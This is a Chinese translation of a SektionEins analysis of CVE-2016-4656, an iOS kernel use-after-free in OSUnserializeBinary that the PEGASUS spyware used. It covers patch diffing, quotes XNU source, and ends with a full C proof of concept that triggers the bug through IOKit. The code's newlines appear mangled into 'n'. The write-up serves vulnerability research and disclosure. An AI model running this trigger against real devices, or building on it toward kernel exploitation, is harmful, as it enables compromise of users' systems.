PEGASUS iOS內核漏洞分析(第一部分)
背景
2016年8月25日,蘋果公司發布了針對PEGASUS監控工具包的iOS 9.3.5安全更新。不同於先前出現的iOS惡意軟體,這個工具包使用了三種不同的iOS 0day漏洞來攻擊(直到iOS 9.3.5發布)iOS設備。不幸的是,這些漏洞的公共信息相當模糊,因為Citizenlab、Lookout (Apple信任的安全公司)和 Apple公司決定不讓公眾知道這些漏洞的詳細情況。直到現在他們也沒有公布惡意軟體的樣本,如此一來,第三方安全研究員就基本不可能對這一惡意軟體進行分析。
公眾始終不知道該漏洞是否已經被修復,地下黑市上出現的漏洞利用是否仍然有效,所以我們決定自己研究蘋果最近發布的安全補丁,以弄清楚PEGASUS所利用的三個漏洞。今天只分析CVE-2016-4656報告中的內核漏洞。
Patch Analysis
分析iOS安全補丁並不像想像中的那麼容易,iOS9內核以加密的形式存儲在設備中(並且是固件文件)。因此為了獲得一份解密後的內核,要麼需要一個低水平、能夠解密內核的漏洞利用工具,要麼需要一個能夠從內存中下載內核iOS問題的越獄工具。我們決定使用自己的越獄工具把iOS 9.3.4和iOS 9.3.5的內核從實驗室的一台iOS測試設備中下載下來。我們採用MathewSolnik在一篇博客中描述的方法,即通過內核漏洞利用工具把完全解密的內核從物理內存中下載出來。
獲得內核後必須分析它們的差異,我們使用了IDA上的開源二進位比較插件Diaphora來完成這項任務。為了進行比較,我們將iOS 9.3.4內核載入到IDA中等待自動分析完成,然後使用Diaphora把當前的IDA資料庫轉化成SQLITE資料庫格式。接下對iOS 9.3.5的對比,重複上述過程,並使用Diaphora比較兩個資料庫的不同。比較結果如下圖所示。
Diaphora顯示出iOS 9.3.5改動了幾個函數,大部分是修改了跳轉地址。從改動函數的列表中可以很明顯的看出,最有意思的函數是OSUnserializeXML。由於函數變化很大(因為重新排序),要分析出iOS 9.3.4 和 iOS 9.3.5之間的差異很困難。進一步的分析表明該函數實際上內聯了其它函數,藉助XNU更容易找出漏洞。OS X10.11.6 XNU內核可以在http://opensource.apple.com找到。
OSObject*nOSUnserializeXML(const char *buffer,size_t bufferSize, OSString **errorString)n{n if (!buffer) return (0);n if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (0);n if (!strcmp(kOSSerializeBinarySignature, buffer)) returnOSUnserializeBinary(buffer, bufferSize, errorString);n // XML must be null terminatedn if (buffer[bufferSize - 1]) return 0;n return OSUnserializeXML(buffer, errorString);n}n
OSUnserializeBinary
OSUnserializeBinary是新加入到OSUnserializeXML中用來處理序列化二進位漏洞的代碼,這意味著,攻擊者通過簡單地調用任何IOKitAPI (或者mach API)函數就能進行攻擊。而這些函數又可以接受序列化參數,例如簡單的IOKit匹配功能,這同時也意味著該漏洞可以通過iOS 或 OSX上的沙盒觸發。
這一新功能的源代碼位於libkern / C++ /OSSerializeBinary.cpp文件中,因此我們可以直接對其進行審核而不用分析蘋果補丁。序列化的二進位形式不是很複雜,它以32位標識符作為頭部,接下來是32位的對齊標記和數據對象。
支持以下數據類型:
?Dictionaryn?Arrayn?Setn?Numbern?Symboln?Stringn?Datan?Booleann?Object (參考先前反序列化對象)n
二進位格式需要編碼32位塊數據類型中的24-30位。低於的24位被保留為數值數據,例如存儲長度或集合元素計數器。31位用來標記集合中的最後一個元素,其它的所有數據(strings,symbols, binary data, numbers)則添加4位元組對齊數據流。
Vulnerability
發現漏洞很容易,因為它看起來和PHP函數unserialize()中的USE-AFTER-FREE漏洞非常相似,而這個漏洞之前已經被SektionEins公布在http://PHP.net網站上。OSUnserialize()中的漏洞也有著一樣的原因,反序列化器可以產生對先前釋放對象的引用,每當對象被反序列化時就會被添加到一個對象表中,這段代碼看起來像下面這樣:
if (!isRef)n{n setAtIndex(objs, objsIdx, o);n if (!ok) break;n objsIdx++;n}n
這很不安全。另外,由於setAtIndex()宏不增加對象的引用計數,PHP也會犯相同的錯誤,即如下所示:
define setAtIndex(v, idx, o) n if (idx >= v##Capacity) n { n uint32_t ncap = v##Capacity +64; n typeof(v##Array) nbuf =(typeof(v##Array)) kalloc_container(ncap * sizeof(o)); n if (!nbuf) ok = false; n if (v##Array) n { n bcopy(v##Array, nbuf,v##Capacity * sizeof(o)); n kfree(v##Array,v##Capacity * sizeof(o)); n } n v##Array = nbuf; n v##Capacity = ncap; n } n if (ok) v##Array[idx] = o; <---- remember object WITHOUT COUNTINGTHE REFERENCEn
當反序列化過程中沒有合適的方法去釋放一個對象時,追蹤v##Array變數內的引用便會存在問題。正如你從下面的代碼中看到的,字典元素的處理支持OSSymbol和OSString鍵,然而OSString鍵會隨著OSString對象的銷毀而轉化成為OSSymbol。不幸的是,在銷毀的同時OSString對象已經被添加進對象表中。
if (dict)n{n if (sym)n {n DEBG("%s = %sn",sym->getCStringNoCopy(), o->getMetaClass()->getClassName());n if (o != dict) ok =dict->setObject(sym, o, true);n o->release();n sym->release();n sym = 0;n }n elsen {n sym = OSDynamicCast(OSSymbol,o);n if (!sym && (str =OSDynamicCast(OSString, o)))n {n sym = (OSSymbol *)OSSymbol::withString(str);n o->release(); <---- destruction of OSString object thatis already in objs tablen o = 0;n }n ok = (sym != 0);n }n}n
因為上述問題,利用kOSSerializeObject數據類型產生一個指向早已銷毀的OSString對象引用將變得非常簡單。這就是一個經典的USE-AFTER-FREE漏洞。
POC
弄清楚問題之後,我們可以寫一個簡單的POC來觸發這個漏洞,即如下所示。你可以在OS X中進行測試。
/*n *Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser /SektionEins GmbHn *compile on OS X like:n * gcc-arch i386 -framework IOKit -o ex exploit.cn */n#include <unistd.h>n#include <stdlib.h>n#include <stdio.h>n#include <mach/mach.h>n#include <IOKit/IOKitLib.h>n#include <IOKit/iokitmig.h>nenumn{n kOSSerializeDictionary =0x01000000U,n kOSSerializeArray =0x02000000U,n kOSSerializeSet =0x03000000U,n kOSSerializeNumber =0x04000000U,n kOSSerializeSymbol = 0x08000000U,n kOSSerializeString =0x09000000U,n kOSSerializeData =0x0a000000U,n kOSSerializeBoolean =0x0b000000U,n kOSSerializeObject =0x0c000000U,n kOSSerializeTypeMask =0x7F000000U,n kOSSerializeDataMask =0x00FFFFFFU,n kOSSerializeEndCollecton = 0x80000000U,n};n#define kOSSerializeBinarySignature"32300"nint main()n{n char * data = malloc(1024);n uint32_t * ptr = (uint32_t *) data;n uint32_t bufpos = 0;n mach_port_t master = 0, res;n kern_return_t kr;n /* create header */n memcpy(data, kOSSerializeBinarySignature,sizeof(kOSSerializeBinarySignature));n bufpos += sizeof(kOSSerializeBinarySignature);n /* create a dictionary with 2 elements */n *(uint32_t *)(data+bufpos) = kOSSerializeDictionary |kOSSerializeEndCollecton | 2; bufpos += 4;n /* our key is a OSString object */n *(uint32_t *)(data+bufpos) = kOSSerializeString | 7; bufpos += 4;n *(uint32_t *)(data+bufpos) = 0x41414141; bufpos += 4;n *(uint32_t *)(data+bufpos) = 0x00414141; bufpos += 4;n /* our data is a simple boolean */n *(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4;n /* now create a reference to object 1 which is the OSString object thatwas just freed */n *(uint32_t *)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4;n /* get a master port for IOKit API */n host_get_io_master(mach_host_self(), &master);n /* trigger the bug */n kr = io_service_get_matching_services_bin(master, data, bufpos,&res);n printf("kr: 0x%xn", kr);n}n
Exploitation
本文中,我們只對該漏洞進行了深度分析,至於漏洞利用程序將會在明天的PEGASUS iOS內核漏洞分析(第二部分)詳細列出。
註:本文參考來源於sektioneins
推薦閱讀: